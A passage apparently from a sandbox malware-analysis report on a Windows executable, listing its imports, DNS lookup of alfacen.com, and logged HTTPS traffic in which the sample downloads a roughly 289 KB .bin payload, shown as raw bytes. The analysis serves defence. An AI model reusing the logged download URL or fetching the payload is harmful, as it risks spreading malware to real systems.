USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 17:58:24.680136919 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:24.680197001 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:24.680279970 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:24.693173885 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:24.693196058 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:25.816365957 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:25.816476107 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:25.889065981 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:25.889127016 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:25.889461994 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:25.893028021 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:25.898695946 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:25.943411112 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.231201887 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.231235981 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.231326103 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.231345892 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.233017921 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.389780998 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.389905930 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.402545929 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.402631998 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.402932882 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.403419018 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.500889063 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.500992060 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.540868044 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.540975094 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.568733931 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.568821907 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.571852922 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.571923971 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.574285030 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.574363947 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.576348066 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.576419115 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.597790956 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.597944975 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.658461094 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.658539057 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.827584028 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.827724934 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.907340050 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.907491922 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.909204960 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.909399033 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.911382914 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.911470890 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.913454056 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.913539886 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.915146112 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.915219069 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.916872978 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.916939020 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.918632030 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.918828011 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.920344114 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.920442104 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.921917915 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.921983004 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.923458099 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.923542023 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.924207926 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.924278021 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.926162958 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.926230907 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.927086115 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.927155018 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:26.985213995 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:26.985349894 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.057085991 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.057187080 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.058031082 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.058104992 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.059659004 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.059729099 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.060605049 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.060669899 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.062629938 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.062700987 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.063502073 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.063568115 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.065359116 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.065433025 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.066169977 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.066231966 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.075084925 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.075145960 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:27.075165033 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.075210094 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.080794096 CEST	49929	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:27.080809116 CEST	443	49929	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:37.123550892 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:37.123584986 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:37.123666048 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:37.124300003 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:37.124320030 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.220144033 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.220271111 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.220947027 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.220956087 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.221189976 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.221195936 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.552139044 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.552197933 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.552227020 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.552247047 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.552265882 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.552309036 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.716852903 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.716985941 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.724363089 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.724455118 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.725524902 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.725608110 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.889137030 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.889282942 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.890130043 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.890221119 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.896019936 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.896115065 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.896852016 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.896943092 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.897838116 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.897917986 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:38.898745060 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:38.898822069 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.013526917 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.013612986 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.036331892 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.036408901 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.061754942 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.061842918 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.062711954 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.062968969 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.064307928 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.064376116 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.068392992 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.068481922 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.069433928 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.069502115 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.070445061 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.070523024 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.071201086 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.071271896 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.072246075 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.072312117 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.073191881 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.073271036 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.288995028 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.289020061 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.289211035 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.290419102 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.290498972 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.291639090 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.291728973 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.292504072 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.292572975 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.294097900 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.294173002 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.295732021 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.295802116 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.296447039 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.296521902 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.297403097 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.297475100 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.298399925 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.298471928 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.299365044 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.299438953 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.300329924 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.300400972 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.301304102 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.301376104 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.405173063 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.405297041 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.406152010 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.406230927 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.407046080 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.407120943 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.407157898 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.407216072 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.407223940 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.407268047 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.407326937 CEST	443	49982	193.107.36.30	192.168.2.4
Oct 20, 2024 17:58:39.407378912 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.420449972 CEST	49982	443	192.168.2.4	193.107.36.30
Oct 20, 2024 17:58:39.420460939 CEST	443	49982	193.107.36.30	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 17:58:24.579626083 CEST	61590	53	192.168.2.4	1.1.1.1
Oct 20, 2024 17:58:24.673593044 CEST	53	61590	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 20, 2024 17:58:24.579626083 CEST	192.168.2.4	1.1.1.1	0xd36b	Standard query (0)	alfacen.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 20, 2024 17:58:24.673593044 CEST	1.1.1.1	192.168.2.4	0xd36b	No error (0)	alfacen.com		193.107.36.30	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

alfacen.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49929	193.107.36.30	443	8124	C:\Users\user\Desktop\3507071243740008011.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-20 15:58:25 UTC	174	OUT	GET /jFhxxDhhDcCKVgiwlWM221.bin HTTP/1.1 User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: alfacen.com Cache-Control: no-cache
2024-10-20 15:58:26 UTC	344	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 15:58:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 18 Oct 2024 13:09:53 GMT Accept-Ranges: bytes Content-Length: 289344 Cache-Control: max-age=2592000 Expires: Tue, 19 Nov 2024 15:58:26 GMT Vary: Accept-Encoding Content-Type: application/octet-stream
2024-10-20 15:58:26 UTC	7848	IN	Data Raw: cd c4 32 61 fb d9 39 26 04 dc 17 79 65 ca 29 f9 97 dd 2a 9a b8 89 1e 30 82 1c ed 54 4b 5b 59 50 43 1b 3e 16 de 3c 83 74 45 d7 49 8f ec 93 7d 4b f9 34 07 20 ec 59 fd ec d2 6a 68 e5 55 1a a8 9e f3 26 b7 d8 f2 e5 47 a6 b0 ef a9 72 9e 2c 15 36 ad b1 22 69 1c 60 5f 47 67 ca c0 68 2b b1 91 2c 64 63 6f 3e 1c 5b 83 a9 4e d8 89 f9 0a 8e c1 1c 94 ca cd 5c 2d 40 ea df cb 0a 1a 11 ae 05 80 bf a4 7b 92 db e1 77 7b 7d 33 4c 89 18 00 6f be 63 16 40 e7 3e 92 aa 31 1e 97 9a 40 64 dd f7 4b d2 7a 7e 16 c7 7e 1b fd d5 bf 2d f0 b6 8f 7c d7 e3 e5 9f 72 f9 1a 2d 97 87 ba cd 8c a0 37 b6 8f a7 c5 53 de f8 c1 c9 1f 16 ed 07 03 be df 8e f4 01 b8 d9 0f 67 da c6 aa 59 02 97 90 eb 6d be 80 65 00 b1 80 20 bd b9 14 16 7d ac da da d9 10 7f b7 79 37 a8 67 27 32 bb 0d d0 8b 05 ae 35 91 e9 Data Ascii: 2a9&ye)*0TK[YPC><tEI}K4 YjhU&Gr,6"i`_Ggh+,dco>[N\-@{w{}3Loc@>1@dKz~~-\|r-7SgYme }y7g'25
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: a6 8f d8 ec 96 d4 b8 54 a0 f4 74 2d 1c cc d0 54 9d 3e 18 25 71 93 e2 95 6d 51 55 39 9f d1 58 41 03 08 63 34 52 e9 00 d5 87 e6 6b 60 ca 61 3d 86 1d f1 99 26 fb 55 f8 79 b7 67 fd 7d a5 5f 56 bf 1b 05 6e 8d 09 91 0b d1 b0 7d 87 f5 f5 a5 f5 d3 fc e3 58 7a fc 5e ce 13 22 9f 7e 3e 4a f8 4d cc 35 bc 5d 07 54 a4 02 18 30 08 1b e2 86 7b fd fe c1 14 91 06 ef 95 63 6a b0 24 b7 c2 d2 13 d4 f1 bb 7a 79 1d 31 a7 ad b9 13 b4 aa 9f 44 9d 5e 0c 9c 39 a3 47 c6 03 ef cf 21 7a 6a 82 60 73 e1 59 89 da 89 0d b2 a8 b1 72 77 d7 64 7c 08 01 73 29 c0 f2 09 d1 11 d9 e5 10 7d 38 ec e5 44 3c 82 7f fc a4 de de 04 ea bd 38 6a e5 f2 f8 bd 24 10 2a 1c 94 b6 58 84 3f f9 60 70 ee 62 42 c0 11 c6 ae 74 30 11 3e 44 ce a0 cf f9 35 9d 05 ac b0 ef ca c3 65 b8 bc 5f 7c 03 45 75 20 bc a6 eb 93 71 Data Ascii: Tt-T>%qmQU9XAc4Rk`a=&Uyg}_Vn}Xz^"~>JM5]T0{cj$zy1D^9G!zj`sYrwd\|s)}8D<8j$*X?`pbBt0>D5e_\|Eu q
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: 8a 0f de 8d 04 28 e2 44 15 95 50 b8 cd 9e 33 df 25 e4 23 bf c0 8a 9c 7d 51 0d bd 89 60 e0 fa 87 28 48 a7 c5 a2 5f ea 67 11 c5 df 21 b3 fa 14 01 f2 f7 47 7c 78 af ef b3 ff 31 38 16 45 82 db 1f d6 81 3c 04 dd 2e e4 7c df 5e 07 17 5c 0b bc 6e 55 53 fe df b8 f4 48 3d 49 ca 86 d5 6a 32 86 0f 68 85 00 48 88 6d 09 48 d3 19 e2 93 c1 d4 89 99 25 2e ee 8b 61 f0 2a a4 06 63 7d 13 c3 1a 71 cb 6f 2f 1b 84 4f 4f 5e 8f 78 be e5 d6 af 77 6b d5 41 e6 40 70 73 3a 93 6d 60 ab a1 a1 94 f2 b0 ad a2 42 6b ee e7 c8 18 ea 9f a6 f4 76 84 58 ca cd 48 03 d1 cb b8 83 91 7b 78 d4 2e 61 f6 d5 8e 08 a8 75 78 8e ad 46 7c a1 ba 4e 09 98 d6 44 33 d4 9d 34 56 89 6c f9 6a 03 03 d9 3d 7c a8 72 3d ab 13 64 9a a0 b2 6f 66 1f 52 ab 1b 13 f1 f3 19 2b 72 3c 08 89 c5 ce 8f 3b f7 74 96 88 cc 1e 21 Data Ascii: (DP3%#}Q`(H_g!G\|x18E<.\|^\nUSH=Ij2hHmH%.a*c}qo/OO^xwkA@ps:m`BkvXH{x.auxF\|ND34Vlj=\|r=dofR+r<;t!
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: ab c3 13 e3 29 6e cc ad 14 aa b0 1d 0e b1 7a 68 d1 d9 77 35 0c 2c 44 37 ff 7c e8 95 ab 0f 66 79 80 e8 e1 2e f5 dd 85 6e 5d f6 a8 b7 a4 81 a3 0c 8e 20 3f eb 42 59 58 85 f8 4d 55 9a 6c b6 33 24 05 42 9d 32 d0 22 57 38 70 3b 0f 3b 36 54 9a 6f 14 e8 74 c1 ca a9 e9 80 2c 91 2a ef 23 bd d8 8f 40 f5 46 de b1 cc 37 43 df 75 ec 4e c4 24 0c 2d 94 07 80 44 21 bc f3 48 86 52 d8 fa cf d0 ad 2d 5c 2e 6d 32 b9 98 6b 63 35 40 1a 2b c5 5a d1 91 0c e6 09 ad da f3 b2 0c d8 ab 9f 51 79 57 a7 6d c3 16 12 e8 dc b6 11 3c 3c 79 a4 45 e6 67 27 b5 31 91 da 60 6a 95 31 40 c0 37 65 58 a6 53 92 c3 8b 64 a3 78 4d f2 d8 f0 1e ce 28 c1 5b 9f b8 05 de 30 f6 18 5c 7e e8 90 ae f1 27 85 74 be 7f d2 e9 db 09 0a d6 fa 42 74 11 aa 9a d3 90 04 38 10 5c 12 f2 3a 4a 24 c2 48 4e 81 ed e1 bc 35 9e Data Ascii: )nzhw5,D7\|fy.n] ?BYXMUl3$B2"W8p;;6Tot,*#@F7CuN$-D!HR-\.m2kc5@+ZQyWm<<yEg'1`j1@7eXSdxM([0\~'tBt8\:J$HN5
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: 47 de ae 68 9d 98 9d e2 7c 07 d0 73 7b 88 9c 14 22 09 bb 87 6f 93 1e 6a 47 26 d4 9c f3 9f 58 5e fc d9 8a df 0e ef 64 60 ad b8 3e bf 08 2b d0 e3 85 07 66 52 4f 82 9f 3a 71 32 29 88 a4 89 12 03 c1 fd 66 25 3c 03 e4 9f 89 9f b4 24 c9 45 2d 21 10 bd 43 20 93 a6 50 01 f8 60 13 0a 65 7a 2d 85 64 86 6c 54 58 e5 54 26 81 03 1d f7 94 94 01 92 85 a6 b8 92 83 05 c0 60 8f 4f 87 67 db 0c d5 37 37 3c 0d 96 c4 87 fe e4 94 91 db 2c dc 78 b7 e7 a3 aa 2a 9f 31 51 9d 41 7f 79 fa 75 10 26 6d dd 6c c4 0a 96 f0 d7 57 89 32 51 fa c6 6a 97 8d 35 66 0d d9 a4 07 a1 fa 24 3d 5f 86 8c bf 2b 17 b3 96 4b 40 1f 2b 01 a3 52 ec bd bb 47 a6 94 3a 8d 27 ee 81 e3 ec 08 a8 19 9d 4f 42 35 bf d5 34 5b 6e 82 c4 7e 18 cc ba b1 b6 99 53 f7 e3 8b 81 01 b5 3b 75 06 85 94 70 f2 a0 d8 7b e7 f8 22 19 Data Ascii: Gh\|s{"ojG&X^d`>+fRO:q2)f%<$E-!C P`ez-dlTXT&`Og77<,x*1QAyu&mlW2Qj5f$=_+K@+RG:'OB54[n~S;up{"
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: 20 14 23 5d ca fa f2 91 a2 ce 49 99 1b 5b 8f 5f 02 de 55 3f 8c 21 c7 cb fd d2 6f c3 54 40 4a 84 5c 1c 26 d0 89 25 1f 93 1c 7a 29 7b 41 44 ac 89 09 98 26 26 03 81 70 2e dd 85 e1 bc f6 7d 5b b4 60 c1 b4 6b 4f 1c 92 7c a5 cc 9c 4f 6b c2 56 88 26 83 48 9a de 9f 3f 09 42 f8 81 1b 8b c2 5c 79 13 cb c4 48 8a 2b 3d a2 43 aa 72 90 97 7d e0 80 40 df d7 03 d6 57 eb d8 30 39 99 dd 2e bb c1 93 cb f4 de af e6 b5 7a a5 32 95 e0 d3 df 66 9c 92 35 8d 31 12 7e 59 3b 0b e5 ee 56 b5 7d 95 d3 0d 4e 6c a4 73 d5 48 25 d8 4e 69 08 b5 a3 1b b3 c7 7e 8d 5b 67 29 2b 96 e3 d7 a5 9c 61 e0 2b c7 9e 59 2b e2 bc cf 46 b8 bf 82 2a 5d c6 36 63 87 c6 44 cb 52 cf 7e 5a 60 39 35 66 92 4c 43 19 ba 4c dc 6a c8 d6 a6 5d a3 97 3c 9b 0e 5e 7b 2b 65 5c 25 95 63 40 b6 90 f6 88 9a 6a 44 95 b8 c0 fc Data Ascii: #]I[_U?!oT@J\&%z){AD&&p.}[`kO\|OkV&H?B\yH+=Cr}@W09.z2f51~Y;V}NlsH%Ni~[g)+a+Y+F*]6cDR~Z`95fLCLj]<^{+e\%c@jD
